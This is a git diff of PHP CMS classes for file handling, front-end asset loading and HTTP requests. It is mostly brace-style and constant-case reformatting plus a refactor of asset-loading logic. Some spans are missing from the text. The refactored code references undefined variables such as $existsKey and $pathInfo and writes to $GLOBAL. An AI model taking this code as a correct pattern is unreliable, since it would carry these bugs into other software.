if(function_exists('imagecreate')) + { + $thumb = imagecreate($resize_width, $resize_height); + } + else + { + return FALSE; + } + if(!$thumb) + { + return FALSE; + } - $white = imagecolorallocate($thumb, 255,255,255); - imagefilledrectangle($thumb,0,0,$resize_width-1,$resize_height-1,$white); + $white = imagecolorallocate($thumb, 255, 255, 255); + imagefilledrectangle($thumb, 0, 0, $resize_width - 1, $resize_height - 1, $white); // create temporary image having original type - switch($type) { + switch($type) + { case 'gif' : - if(!function_exists('imagecreatefromgif')) return false; - $source = @imagecreatefromgif($source_file); + if(!function_exists('imagecreatefromgif')) + { + return FALSE; + } + $source = @imagecreatefromgif($source_file); break; // jpg case 'jpeg' : case 'jpg' : - if(!function_exists('imagecreatefromjpeg')) return false; - $source = @imagecreatefromjpeg($source_file); + if(!function_exists('imagecreatefromjpeg')) + { + return FALSE; + } + $source = @imagecreatefromjpeg($source_file); break; // png case 'png' : - if(!function_exists('imagecreatefrompng')) return false; - $source = @imagecreatefrompng($source_file); + if(!function_exists('imagecreatefrompng')) + { + return FALSE; + } + $source = @imagecreatefrompng($source_file); break; // bmp case 'wbmp' : case 'bmp' : - if(!function_exists('imagecreatefromwbmp')) return false; - $source = @imagecreatefromwbmp($source_file); + if(!function_exists('imagecreatefromwbmp')) + { + return FALSE; + } + $source = @imagecreatefromwbmp($source_file); break; default : return; } // resize original image and put it into temporary image - $new_width = (int)($width * $per); - $new_height = (int)($height * $per); + $new_width = (int) ($width * $per); + $new_height = (int) ($height * $per); - if($thumbnail_type == 'crop') { - $x = (int)($resize_width/2 - $new_width/2); - $y = (int)($resize_height/2 - $new_height/2); - } else { + if($thumbnail_type == 'crop') + { + $x = (int) ($resize_width / 2 - $new_width / 2); + $y = (int) ($resize_height / 2 - $new_height / 2); + } + else + { $x = 0; $y = 0; } - if($source) { - if(function_exists('imagecopyresampled')) imagecopyresampled($thumb, $source, $x, $y, 0, 0, $new_width, $new_height, $width, $height); - else imagecopyresized($thumb, $source, $x, $y, 0, 0, $new_width, $new_height, $width, $height); - } else return false; + if($source) + { + if(function_exists('imagecopyresampled')) + { + imagecopyresampled($thumb, $source, $x, $y, 0, 0, $new_width, $new_height, $width, $height); + } + else + { + imagecopyresized($thumb, $source, $x, $y, 0, 0, $new_width, $new_height, $width, $height); + } + } + else + { + return FALSE; + } // create directory $path = dirname($target_file); - if(!is_dir($path)) FileHandler::makeDir($path); + if(!is_dir($path)) + { + FileHandler::makeDir($path); + } // write into the file - switch($target_type) { + switch($target_type) + { case 'gif' : - if(!function_exists('imagegif')) return false; - $output = imagegif($thumb, $target_file); + if(!function_exists('imagegif')) + { + return FALSE; + } + $output = imagegif($thumb, $target_file); break; case 'jpeg' : case 'jpg' : - if(!function_exists('imagejpeg')) return false; - $output = imagejpeg($thumb, $target_file, 100); + if(!function_exists('imagejpeg')) + { + return FALSE; + } + $output = imagejpeg($thumb, $target_file, 100); break; case 'png' : - if(!function_exists('imagepng')) return false; - $output = imagepng($thumb, $target_file, 9); + if(!function_exists('imagepng')) + { + return FALSE; + } + $output = imagepng($thumb, $target_file, 9); break; case 'wbmp' : case 'bmp' : - if(!function_exists('imagewbmp')) return false; - $output = imagewbmp($thumb, $target_file, 100); + if(!function_exists('imagewbmp')) + { + return FALSE; + } + $output = imagewbmp($thumb, $target_file, 100); break; } imagedestroy($thumb); imagedestroy($source); - if(!$output) return false; + if(!$output) + { + return FALSE; + } @chmod($target_file, 0644); - return true; + return TRUE; } /** @@ -669,34 +970,47 @@ class FileHandler { * @see FileHandler::writeIniFile() * @param string $filename Path of the ini file * @return array ini array (if the target file does not exist, it returns false) - **/ - function readIniFile($filename){ + */ + function readIniFile($filename) + { $filename = FileHandler::getRealPath($filename); - if(!file_exists($filename)) return false; - $arr = parse_ini_file($filename, true); - if(is_array($arr) && count($arr)>0) return $arr; - else return array(); + if(!file_exists($filename)) + { + return FALSE; + } + $arr = parse_ini_file($filename, TRUE); + if(is_array($arr) && count($arr) > 0) + { + return $arr; + } + else + { + return array(); + } } - /** * Write array into ini file * - * $ini['key1'] = 'value1';
    - * $ini['key2'] = 'value2';
    - * $ini['section']['key1_in_section'] = 'value1_in_section';
    - * $ini['section']['key2_in_section'] = 'value2_in_section';
    - * FileHandler::writeIniFile('exmple.ini', $ini); + * $ini['key1'] = 'value1';
    + * $ini['key2'] = 'value2';
    + * $ini['section']['key1_in_section'] = 'value1_in_section';
    + * $ini['section']['key2_in_section'] = 'value2_in_section';
    + * FileHandler::writeIniFile('exmple.ini', $ini); * * @see FileHandler::readIniFile() * @param string $filename Target ini file name * @param array $arr Array * @return bool if array contains nothing it returns false, otherwise true - **/ - function writeIniFile($filename, $arr){ - if(count($arr)==0) return false; + */ + function writeIniFile($filename, $arr) + { + if(count($arr) == 0) + { + return FALSE; + } FileHandler::writeFile($filename, FileHandler::_makeIniBuff($arr)); - return true; + return TRUE; } /** @@ -705,18 +1019,24 @@ class FileHandler { * @param array $arr Array * @return string */ - function _makeIniBuff($arr){ + function _makeIniBuff($arr) + { $return = ''; - foreach($arr as $key => $val){ + foreach($arr as $key => $val) + { // section - if(is_array($val)){ - $return .= sprintf("[%s]\n",$key); - foreach($val as $k => $v){ - $return .= sprintf("%s=\"%s\"\n",$k,$v); + if(is_array($val)) + { + $return .= sprintf("[%s]\n", $key); + foreach($val as $k => $v) + { + $return .= sprintf("%s=\"%s\"\n", $k, $v); } - // value - }else if(is_string($val) || is_int($val)){ - $return .= sprintf("%s=\"%s\"\n",$key,$val); + // value + } + else if(is_string($val) || is_int($val)) + { + $return .= sprintf("%s=\"%s\"\n", $key, $val); } } return $return; @@ -730,12 +1050,15 @@ class FileHandler { * @param string $filename Target file name * @param string $mode File mode for fopen * @return FileObject File object - **/ + */ function openFile($filename, $mode) { $pathinfo = pathinfo($filename); $path = $pathinfo['dirname']; - if(!is_dir($path)) FileHandler::makeDir($path); + if(!is_dir($path)) + { + FileHandler::makeDir($path); + } require_once("FileObject.class.php"); $file_object = new FileObject($file_name, $mode); @@ -752,7 +1075,7 @@ class FileHandler { { return (is_readable($filename) && !!filesize($filename)); } -} +} /* End of file FileHandler.class.php */ /* Location: ./classes/file/FileHandler.class.php */ diff --git a/classes/file/FileObject.class.php b/classes/file/FileObject.class.php index 05c7bc62c..728ac579f 100644 --- a/classes/file/FileObject.class.php +++ b/classes/file/FileObject.class.php @@ -1,22 +1,24 @@ Open($path, $mode); + if($path != NULL) + { + $this->Open($path, $mode); + } } /** @@ -41,7 +46,7 @@ class FileObject extends Object * * @param string $file_name Path of target file * @return void - **/ + */ function append($file_name) { $target = new FileObject($file_name, "r"); @@ -57,7 +62,7 @@ class FileObject extends Object * Check current file meets eof * * @return bool true: if eof. false: otherwise - **/ + */ function feof() { return feof($this->fp); @@ -68,24 +73,29 @@ class FileObject extends Object * * @param int $size Size to read * @return string Returns the read string or false on failure. - **/ + */ function read($size = 1024) { return fread($this->fp, $size); } - /** * Write string to current file * * @param string $str String to write * @return int Returns the number of bytes written, or false on error. - **/ + */ function write($str) { $len = strlen($str); - if(!$str || $len <= 0) return false; - if(!$this->fp) return false; + if(!$str || $len <= 0) + { + return FALSE; + } + if(!$this->fp) + { + return FALSE; + } $written = fwrite($this->fp, $str); return $written; } @@ -101,34 +111,34 @@ class FileObject extends Object */ function open($path, $mode) { - if($this->fp != null) - { + if($this->fp != NULL) + { $this->close(); } $this->fp = fopen($path, $mode); - if(! is_resource($this->fp) ) + if(!is_resource($this->fp)) { - $this->fp = null; - return false; + $this->fp = NULL; + return FALSE; } $this->path = $path; - return true; + return TRUE; } /** * Return current file's path * * @return string Returns the path of current file. - **/ + */ function getPath() { - if($this->fp != null) + if($this->fp != NULL) { return $this->path; } else { - return null; + return NULL; } } @@ -136,16 +146,16 @@ class FileObject extends Object * Close file * * @return void - **/ + */ function close() { - if($this->fp != null) + if($this->fp != NULL) { fclose($this->fp); - $this->fp = null; + $this->fp = NULL; } } -} +} /* End of file FileObject.class.php */ /* Location: ./classes/file/FileObject.class.php */ diff --git a/classes/file/getRemoteResourcePHP5.php b/classes/file/getRemoteResourcePHP5.php deleted file mode 100644 index 74e007b54..000000000 --- a/classes/file/getRemoteResourcePHP5.php +++ /dev/null @@ -1,9 +0,0 @@ - - * case js - * $args[0]: file name - * $args[1]: type (head | body) - * $args[2]: target IE - * $args[3]: index - * case css - * $args[0]: file name - * $args[1]: media - * $args[2]: target IE - * $args[3]: index - * - * - * If $useCdn set true, use CDN instead local file. - * CDN path = $cdnPrefix . $cdnVersion . $args[0]
    - *
    - * i.e.
    - * $cdnPrefix = 'http://static.xpressengine.com/core/';
    - * $cdnVersion = 'ardent1';
    - * $args[0] = './common/js/xe.js';
    - * The CDN path is http://static.xprssengine.com/core/ardent1/common/js/xe.js.
    - * - * @param array $args Arguments - * @param bool $useCdn If set true, use cdn instead local file - * @param string $cdnPrefix CDN url prefix. (http://static.xpressengine.com/core/) - * @param string $cdnVersion CDN version string (ardent1) - * @return void - **/ - function loadFile($args, $useCdn = false, $cdnPrefix = '', $cdnVersion = '') + $url_info = parse_url(Context::getRequestUrl()); + if($url_info['scheme'] == 'https') { - if (!is_array($args)) $args = array($args); - - $pathInfo = pathinfo($args[0]); - $file = new stdClass(); - $file->fileName = $pathInfo['basename']; - $file->filePath = $this->_getAbsFileUrl($pathInfo['dirname']); - $file->fileRealPath = FileHandler::getRealPath($pathInfo['dirname']); - $file->fileExtension = strtolower($pathInfo['extension']); - $file->fileNameNoExt = preg_replace('/\.min$/', '', $pathInfo['filename']); - $file->keyName = implode('.', array($file->fileNameNoExt, $file->fileExtension)); - - if(strpos($file->filePath, '://') === FALSE) - { - if(!__DEBUG__) - { - // if no debug mode, load minifed file - $minifiedFileName = implode('.', array($file->fileNameNoExt, 'min', $file->fileExtension)); - $minifiedRealPath = implode('/', array($file->fileRealPath, $minifiedFileName)); - if(file_exists($minifiedRealPath)) - { - $file->fileName = $minifiedFileName; - } - } - else - { - // Remove .min - if(file_exists(implode('/', array($file->fileRealPath, $file->keyName)))) - { - $file->fileName = $file->keyName; - } - } - - $file->useCdn = $useCdn; - $file->cdnPath = $this->_normalizeFilePath($pathInfo['dirname']); - $file->cdnPrefix = $cdnPrefix; - $file->cdnVersion = $cdnVersion; - } - - $availableExtension = array('css'=>1, 'js'=>1); - if (!isset($availableExtension[$file->fileExtension])) return; - - $file->targetIe = $args[2]; - $file->index = (int)$args[3]; - - if ($file->fileExtension == 'css') - { - $file->media = $args[1]; - if (!$file->media) $file->media = 'all'; - $map = &$this->cssMap; - $mapIndex = &$this->cssMapIndex; - $key = $file->filePath . $file->keyName . "\t" . $file->targetIe . "\t" . $file->media; - - $this->_arrangeCssIndex($pathInfo['dirname'], $file); - } - else if ($file->fileExtension == 'js') - { - $type = $args[1]; - if ($type == 'body') - { - $map = &$this->jsBodyMap; - $mapIndex = &$this->jsBodyMapIndex; - } - else - { - $map = &$this->jsHeadMap; - $mapIndex = &$this->jsHeadMapIndex; - } - $key = $file->filePath . $file->keyName . "\t" . $file->targetIe; - } - - (is_null($file->index))?$file->index=0:$file->index=$file->index; - if (!isset($map[$file->index][$key]) || $mapIndex[$key] > $file->index) - { - $this->unloadFile($args[0], $args[2], $args[1]); - $map[$file->index][$key] = $file; - $mapIndex[$key] = $file->index; - } + $GLOBAL['__XE_IS_SSL__'] = TRUE; + } + else + { + $GLOBAL['__XE_IS_SSL__'] = FALSE; } - /** - * Unload front end file - * - * @param string $fileName The file name to unload - * @param string $targetIe Target IE of file to unload - * @param string $media Media of file to unload. Only use when file is css. - * @return void - */ - function unloadFile($fileName, $targetIe = '', $media = 'all') + return $GLOBAL['__XE_IS_SSL__']; + } + + /** + * Load front end file + * + * The $args is use as below. File type(js, css) is detected by file extension. + * + *
    +	 * case js
    +	 * 		$args[0]: file name
    +	 * 		$args[1]: type (head | body)
    +	 * 		$args[2]: target IE
    +	 * 		$args[3]: index
    +	 * case css
    +	 * 		$args[0]: file name
    +	 * 		$args[1]: media
    +	 * 		$args[2]: target IE
    +	 * 		$args[3]: index
    +	 * 
    + * + * If $useCdn set true, use CDN instead local file. + * CDN path = $cdnPrefix . $cdnVersion . $args[0]
    + *
    + * i.e.
    + * $cdnPrefix = 'http://static.xpressengine.com/core/';
    + * $cdnVersion = 'ardent1';
    + * $args[0] = './common/js/xe.js';
    + * The CDN path is http://static.xprssengine.com/core/ardent1/common/js/xe.js.
    + * + * @param array $args Arguments + * @param bool $useCdn If set true, use cdn instead local file + * @param string $cdnPrefix CDN url prefix. (http://static.xpressengine.com/core/) + * @param string $cdnVersion CDN version string (ardent1) + * @return void + * */ + function loadFile($args, $useCdn = FALSE, $cdnPrefix = '', $cdnVersion = '') + { + if(!is_array($args)) { - $pathInfo = pathinfo($fileName); - $fileName = $pathInfo['basename']; - $filePath = $this->_getAbsFileUrl($pathInfo['dirname']); - $fileExtension = strtolower($pathInfo['extension']); - $key = $filePath . $fileName . "\t" . $targetIe; - - if ($fileExtension == 'css') - { - if(empty($media)) - { - $media = 'all'; - } - - $key .= "\t" . $media; - if (isset($this->cssMapIndex[$key])) - { - $index = $this->cssMapIndex[$key]; - unset($this->cssMap[$index][$key]); - unset($this->cssMapIndex[$key]); - } - } - else - { - if (isset($this->jsHeadMapIndex[$key])) - { - $index = $this->jsHeadMapIndex[$key]; - unset($this->jsHeadMap[$index][$key]); - unset($this->jsHeadMapIndex[$key]); - } - if (isset($this->jsBodyMapIndex[$key])) - { - $index = $this->jsBodyMapIndex[$key]; - unset($this->jsBodyMap[$index][$key]); - unset($this->jsBodyMapIndex[$key]); - } - } + $args = array($args); } - /** - * Unload all front end file - * - * @param string $type Type to unload. all, css, js - * @return void - */ - function unloadAllFiles($type = 'all') - { - if ($type == 'css' || $type == 'all') - { - $this->cssMap = array(); - $this->cssMapIndex = array(); - } + $file = $this->getFileInfo($args[0], $args[2], $args[1]); - if ($type == 'js' || $type == 'all') - { - $this->jsHeadMap = array(); - $this->jsBodyMap = array(); - $this->jsHeadMapIndex = array(); - $this->jsBodyMapIndex = array(); - } + $availableExtension = array('css' => 1, 'js' => 1); + if(!isset($availableExtension[$file->fileExtension])) + { + return; } - /** - * Get css file list - * - * @return array Returns css file list. Array contains file, media, targetie. - */ - function getCssFileList() + $file->useCdn = $useCdn; + $file->cdnPrefix = $cdnPrefix; + $file->cdnVersion = $cdnVersion; + $file->index = (int) $args[3]; + + if($file->fileExtension == 'css') { $map = &$this->cssMap; $mapIndex = &$this->cssMapIndex; - $this->_sortMap($map, $mapIndex); - - $dbInfo = Context::getDBInfo(); - $useCdn = $dbInfo->use_cdn; - - $result = array(); - foreach($map as $indexedMap) - { - foreach($indexedMap as $file) - { - if ($this->isSsl() == false && $useCdn == 'Y' && $file->useCdn && $file->cdnVersion != '%__XE_CDN_VERSION__%') - { - $fullFilePath = $file->cdnPrefix . $file->cdnVersion . '/' . substr($file->cdnPath, 2) . '/' . $file->fileName; - } - else - { - $noneCache = (is_readable($file->cdnPath.'/'.$file->fileName))?'?'.date('YmdHis', filemtime($file->cdnPath.'/'.$file->fileName)):''; - $fullFilePath = $file->filePath . '/' . $file->fileName.$noneCache; - } - $result[] = array('file' => $fullFilePath, 'media' => $file->media, 'targetie' => $file->targetIe); - } - } - - return $result; + $this->_arrangeCssIndex($pathInfo['dirname'], $file); } - - /** - * Get javascript file list - * - * @param string $type Type of javascript. head, body - * @return array Returns javascript file list. Array contains file, targetie. - */ - function getJsFileList($type = 'head') + else if($file->fileExtension == 'js') { - if ($type == 'head') - { - $map = &$this->jsHeadMap; - $mapIndex = &$this->jsHeadMapIndex; - } - else + $type = $args[1]; + if($type == 'body') { $map = &$this->jsBodyMap; $mapIndex = &$this->jsBodyMapIndex; } - - $this->_sortMap($map, $mapIndex); - - $dbInfo = Context::getDBInfo(); - $useCdn = $dbInfo->use_cdn; - - $result = array(); - foreach($map as $indexedMap) + else { - foreach($indexedMap as $file) - { - if ($this->isSsl() == false && $useCdn == 'Y' && $file->useCdn && $file->cdnVersion != '%__XE_CDN_VERSION__%') - { - $fullFilePath = $file->cdnPrefix . $file->cdnVersion . '/' . substr($file->cdnPath, 2) . '/' . $file->fileName; - } - else - { - $noneCache = (is_readable($file->cdnPath.'/'.$file->fileName))?'?'.date('YmdHis', filemtime($file->cdnPath.'/'.$file->fileName)):''; - $fullFilePath = $file->filePath . '/' . $file->fileName.$noneCache; - } - $result[] = array('file' => $fullFilePath, 'targetie' => $file->targetIe); - } + $map = &$this->jsHeadMap; + $mapIndex = &$this->jsHeadMapIndex; } - - return $result; } - /** - * Sort a map - * - * @param array $map Array to sort - * @param array $index Not used - * @return void - */ - function _sortMap(&$map, &$index) + (is_null($file->index)) ? $file->index = 0 : $file->index = $file->index; + if(!isset($mapIndex[$file->key]) || $mapIndex[$file->key] > $file->index) { - ksort($map); - } - - /** - * Normalize File path - * - * @param string $path Path to normalize - * @return string Normalized path - */ - function _normalizeFilePath($path) - { - if (strpos($path, '://') === false && $path{0} != '/' && $path{0} != '.') - { - $path = './' . $path; - } - - $path = preg_replace('@/\./|(?_normalizeFilePath($path); - - if(strpos($path, './') === 0) - { - if (dirname($_SERVER['SCRIPT_NAME']) == '/' || dirname($_SERVER['SCRIPT_NAME']) == '\\') - { - $path = '/' . substr($path, 2); - } - else - { - $path = dirname($_SERVER['SCRIPT_NAME']) . '/' . substr($path, 2); - } - } - else if(strpos($file, '../') === 0) - { - $path= $this->_normalizeFilePath(dirname($_SERVER['SCRIPT_NAME']) . "/{$path}"); - } - - return $path; - } - - /** - * Arrage css index - * - * @param string $dirName First directory name of css path - * @param array $file file info. - * @return void - */ - function _arrangeCssIndex($dirName, &$file) - { - if($file->index !== 0) - { - return; - } - - $dirName = str_replace('./', '', $dirName); - $tmp = explode('/', $dirName); - - $cssSortList = array('common'=>-100000, 'layouts'=>-90000, 'modules'=>-80000, 'widgets'=>-70000, 'addons'=>-60000); - $file->index = $cssSortList[$tmp[0]]; + $this->unloadFile($args[0], $args[2], $args[1]); + $map[$file->index][$file->key] = $file; + $mapIndex[$file->key] = $file->index; } } + /** + * Get file information + * + * @param string $fileName The file name + * @param string $targetIe Target IE of file + * @param string $media Media of file + * @return stdClass The file information + */ + private function getFileInfo($fileName, $targetIe = '', $media = 'all') + { + static $existsInfo = array(); + + if(isset($existsInfo[$existsKey])) + { + return $existsInfo[$existsKey]; + } + + $pathInfo = pathinfo($fileName); + $file = new stdClass(); + $file->fileName = $pathInfo['basename']; + $file->filePath = $this->_getAbsFileUrl($pathInfo['dirname']); + $file->fileRealPath = FileHandler::getRealPath($pathInfo['dirname']); + $file->fileExtension = strtolower($pathInfo['extension']); + $file->fileNameNoExt = preg_replace('/\.min$/', '', $pathInfo['filename']); + $file->keyName = implode('.', array($file->fileNameNoExt, $file->fileExtension)); + $file->cdnPath = $this->_normalizeFilePath($pathInfo['dirname']); + + if(strpos($file->filePath, '://') === FALSE) + { + if(!__DEBUG__) + { + // if no debug mode, load minifed file + $minifiedFileName = implode('.', array($file->fileNameNoExt, 'min', $file->fileExtension)); + $minifiedRealPath = implode('/', array($file->fileRealPath, $minifiedFileName)); + if(file_exists($minifiedRealPath)) + { + $file->fileName = $minifiedFileName; + } + } + else + { + // Remove .min + if(file_exists(implode('/', array($file->fileRealPath, $file->keyName)))) + { + $file->fileName = $file->keyName; + } + } + } + + $file->targetIe = $targetIe; + + if($file->fileExtension == 'css') + { + $file->media = $media; + if(!$file->media) + { + $file->media = 'all'; + } + $file->key = $file->filePath . $file->keyName . "\t" . $file->targetIe . "\t" . $file->media; + } + else if($file->fileExtension == 'js') + { + $file->key = $file->filePath . $file->keyName . "\t" . $file->targetIe; + } + + return $file; + } + + /** + * Unload front end file + * + * @param string $fileName The file name to unload + * @param string $targetIe Target IE of file to unload + * @param string $media Media of file to unload. Only use when file is css. + * @return void + */ + function unloadFile($fileName, $targetIe = '', $media = 'all') + { + $file = $this->getFileInfo($fileName, $targetIe, $media); + + if($file->fileExtension == 'css') + { + if(isset($this->cssMapIndex[$file->key])) + { + $index = $this->cssMapIndex[$file->key]; + unset($this->cssMap[$index][$file->key]); + unset($this->cssMapIndex[$file->key]); + } + } + else + { + if(isset($this->jsHeadMapIndex[$file->key])) + { + $index = $this->jsHeadMapIndex[$file->key]; + unset($this->jsHeadMap[$index][$file->key]); + unset($this->jsHeadMapIndex[$file->key]); + } + if(isset($this->jsBodyMapIndex[$file->key])) + { + $index = $this->jsBodyMapIndex[$file->key]; + unset($this->jsBodyMap[$index][$file->key]); + unset($this->jsBodyMapIndex[$file->key]); + } + } + } + + /** + * Unload all front end file + * + * @param string $type Type to unload. all, css, js + * @return void + */ + function unloadAllFiles($type = 'all') + { + if($type == 'css' || $type == 'all') + { + $this->cssMap = array(); + $this->cssMapIndex = array(); + } + + if($type == 'js' || $type == 'all') + { + $this->jsHeadMap = array(); + $this->jsBodyMap = array(); + $this->jsHeadMapIndex = array(); + $this->jsBodyMapIndex = array(); + } + } + + /** + * Get css file list + * + * @return array Returns css file list. Array contains file, media, targetie. + */ + function getCssFileList() + { + $map = &$this->cssMap; + $mapIndex = &$this->cssMapIndex; + + $this->_sortMap($map, $mapIndex); + + $dbInfo = Context::getDBInfo(); + $useCdn = $dbInfo->use_cdn; + + $result = array(); + foreach($map as $indexedMap) + { + foreach($indexedMap as $file) + { + if($this->isSsl() == FALSE && $useCdn == 'Y' && $file->useCdn && $file->cdnVersion != '%__XE_CDN_VERSION__%') + { + $fullFilePath = $file->cdnPrefix . $file->cdnVersion . '/' . substr($file->cdnPath, 2) . '/' . $file->fileName; + } + else + { + $noneCache = (is_readable($file->cdnPath . '/' . $file->fileName)) ? '?' . date('YmdHis', filemtime($file->cdnPath . '/' . $file->fileName)) : ''; + $fullFilePath = $file->filePath . '/' . $file->fileName . $noneCache; + } + $result[] = array('file' => $fullFilePath, 'media' => $file->media, 'targetie' => $file->targetIe); + } + } + + return $result; + } + + /** + * Get javascript file list + * + * @param string $type Type of javascript. head, body + * @return array Returns javascript file list. Array contains file, targetie. + */ + function getJsFileList($type = 'head') + { + if($type == 'head') + { + $map = &$this->jsHeadMap; + $mapIndex = &$this->jsHeadMapIndex; + } + else + { + $map = &$this->jsBodyMap; + $mapIndex = &$this->jsBodyMapIndex; + } + + $this->_sortMap($map, $mapIndex); + + $dbInfo = Context::getDBInfo(); + $useCdn = $dbInfo->use_cdn; + + $result = array(); + foreach($map as $indexedMap) + { + foreach($indexedMap as $file) + { + if($this->isSsl() == FALSE && $useCdn == 'Y' && $file->useCdn && $file->cdnVersion != '%__XE_CDN_VERSION__%') + { + $fullFilePath = $file->cdnPrefix . $file->cdnVersion . '/' . substr($file->cdnPath, 2) . '/' . $file->fileName; + } + else + { + $noneCache = (is_readable($file->cdnPath . '/' . $file->fileName)) ? '?' . date('YmdHis', filemtime($file->cdnPath . '/' . $file->fileName)) : ''; + $fullFilePath = $file->filePath . '/' . $file->fileName . $noneCache; + } + $result[] = array('file' => $fullFilePath, 'targetie' => $file->targetIe); + } + } + + return $result; + } + + /** + * Sort a map + * + * @param array $map Array to sort + * @param array $index Not used + * @return void + */ + function _sortMap(&$map, &$index) + { + ksort($map); + } + + /** + * Normalize File path + * + * @param string $path Path to normalize + * @return string Normalized path + */ + function _normalizeFilePath($path) + { + if(strpos($path, '://') === FALSE && $path{0} != '/' && $path{0} != '.') + { + $path = './' . $path; + } + + $path = preg_replace('@/\./|(?_normalizeFilePath($path); + + if(strpos($path, './') === 0) + { + if(dirname($_SERVER['SCRIPT_NAME']) == '/' || dirname($_SERVER['SCRIPT_NAME']) == '\\') + { + $path = '/' . substr($path, 2); + } + else + { + $path = dirname($_SERVER['SCRIPT_NAME']) . '/' . substr($path, 2); + } + } + else if(strpos($file, '../') === 0) + { + $path = $this->_normalizeFilePath(dirname($_SERVER['SCRIPT_NAME']) . "/{$path}"); + } + + return $path; + } + + /** + * Arrage css index + * + * @param string $dirName First directory name of css path + * @param array $file file info. + * @return void + */ + function _arrangeCssIndex($dirName, &$file) + { + if($file->index !== 0) + { + return; + } + + $dirName = str_replace('./', '', $dirName); + $tmp = explode('/', $dirName); + + $cssSortList = array('common' => -100000, 'layouts' => -90000, 'modules' => -80000, 'widgets' => -70000, 'addons' => -60000); + $file->index = $cssSortList[$tmp[0]]; + } + +} /* End of file FrontEndFileHandler.class.php */ /* Location: ./classes/frontendfile/FrontEndFileHandler.class.php */ diff --git a/classes/handler/Handler.class.php b/classes/handler/Handler.class.php index c8bb98d06..f2f201156 100644 --- a/classes/handler/Handler.class.php +++ b/classes/handler/Handler.class.php @@ -1,11 +1,13 @@ +} +/* End of file Handler.class.php */ +/* Location: ./classes/handler/Handler.class.php */ diff --git a/classes/httprequest/XEHttpRequest.class.php b/classes/httprequest/XEHttpRequest.class.php index 05cb3c271..72d061770 100644 --- a/classes/httprequest/XEHttpRequest.class.php +++ b/classes/httprequest/XEHttpRequest.class.php @@ -1,4 +1,5 @@ m_host = $host; - $this->m_port = $port; - $this->m_headers = array(); + $this->m_host = $host; + $this->m_port = $port; + $this->m_headers = array(); } /** @@ -43,7 +48,7 @@ class XEHttpRequest { */ function addToHeader($key, $value) { - $this->m_headers[$key] = $value; + $this->m_headers[$key] = $value; } /** @@ -54,26 +59,38 @@ class XEHttpRequest { * @param array $post_vars variables to send * @return object Returns an object containing HTTP Response body and HTTP response code */ - function send($target='/', $method='GET', $timeout=3, $post_vars=null) + function send($target = '/', $method = 'GET', $timeout = 3, $post_vars = NULL) { - static $allow_methods=null; + static $allow_methods = NULL; $this->addToHeader('Host', $this->m_host); $this->addToHeader('Connection', 'close'); $method = strtoupper($method); - if(!$allow_methods) $allow_methods = explode(' ', 'GET POST PUT'); - if(!in_array($method, $allow_methods)) $method = $allow_methods[0]; + if(!$allow_methods) + { + $allow_methods = explode(' ', 'GET POST PUT'); + } + if(!in_array($method, $allow_methods)) + { + $method = $allow_methods[0]; + } // $timeout should be an integer that is bigger than zero - $timout = max((int)$timeout, 0); + $timout = max((int) $timeout, 0); // list of post variables - if(!is_array($post_vars)) $post_vars = array(); + if(!is_array($post_vars)) + { + $post_vars = array(); + } - if(false && is_callable('curl_init')) { + if(FALSE && is_callable('curl_init')) + { return $this->sendWithCurl($target, $method, $timeout, $post_vars); - } else { + } + else + { return $this->sendWithSock($target, $method, $timeout, $post_vars); } } @@ -91,49 +108,65 @@ class XEHttpRequest { static $crlf = "\r\n"; $sock = @fsockopen($this->m_host, $this->m_port, $errno, $errstr, $timeout); - if(!$sock) { + if(!$sock) + { return new Object(-1, 'socket_connect_failed'); } $headers = $this->m_headers + array(); - if(!isset($headers['Accept-Encoding'])) $headers['Accept-Encoding'] = 'identity'; + if(!isset($headers['Accept-Encoding'])) + { + $headers['Accept-Encoding'] = 'identity'; + } // post body $post_body = ''; - if($method == 'POST' && count($post_vars)) { - foreach($post_vars as $key=>$value) { - $post_body .= urlencode($key).'='.urlencode($value).'&'; + if($method == 'POST' && count($post_vars)) + { + foreach($post_vars as $key => $value) + { + $post_body .= urlencode($key) . '=' . urlencode($value) . '&'; } $post_body = substr($post_body, 0, -1); $headers['Content-Length'] = strlen($post_body); - $headers['Content-Type'] = 'application/x-www-form-urlencoded'; + $headers['Content-Type'] = 'application/x-www-form-urlencoded'; } $request = "$method $target HTTP/1.1$crlf"; - foreach($headers as $equiv=>$content) { + foreach($headers as $equiv => $content) + { $request .= "$equiv: $content$crlf"; } - $request .= $crlf.$post_body; + $request .= $crlf . $post_body; fwrite($sock, $request); list($httpver, $code, $status) = preg_split('/ +/', rtrim(fgets($sock)), 3); // read response headers - $is_chunked = false; - while(strlen(trim($line = fgets($sock)))) { + $is_chunked = FALSE; + while(strlen(trim($line = fgets($sock)))) + { list($equiv, $content) = preg_split('/ *: */', rtrim($line), 1); - if(!strcasecmp($equiv, 'Transfer-Encoding') && $content == 'chunked') { - $is_chunked = true; + if(!strcasecmp($equiv, 'Transfer-Encoding') && $content == 'chunked') + { + $is_chunked = TRUE; } } $body = ''; - while(!feof($sock)) { - if ($is_chunked) { + while(!feof($sock)) + { + if($is_chunked) + { $chunk_size = hexdec(fgets($sock)); - if($chunk_size) $body .= fread($sock, $chunk_size); - } else { + if($chunk_size) + { + $body .= fread($sock, $chunk_size); + } + } + else + { $body .= fgets($sock, 512); } } @@ -165,15 +198,18 @@ class XEHttpRequest { // set URL and other appropriate options curl_setopt($ch, CURLOPT_URL, "http://{$this->m_host}{$target}"); - curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_PORT, $this->m_port); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); - switch($method) { - case 'GET': curl_setopt($ch, CURLOPT_HTTPGET, true); break; - case 'PUT': curl_setopt($ch, CURLOPT_PUT, true); break; + switch($method) + { + case 'GET': curl_setopt($ch, CURLOPT_HTTPGET, true); + break; + case 'PUT': curl_setopt($ch, CURLOPT_PUT, true); + break; case 'POST': curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_vars); @@ -181,14 +217,16 @@ class XEHttpRequest { } $arr_headers = array(); - foreach($headers as $key=>$value){ + foreach($headers as $key => $value) + { $arr_headers[] = "$key: $value"; } curl_setopt($ch, CURLOPT_HTTPHEADER, $arr_headers); $body = curl_exec($ch); - if(curl_errno($ch)) { + if(curl_errno($ch)) + { return new Object(-1, 'socket_connect_failed'); } @@ -200,5 +238,7 @@ class XEHttpRequest { return $ret; } + } 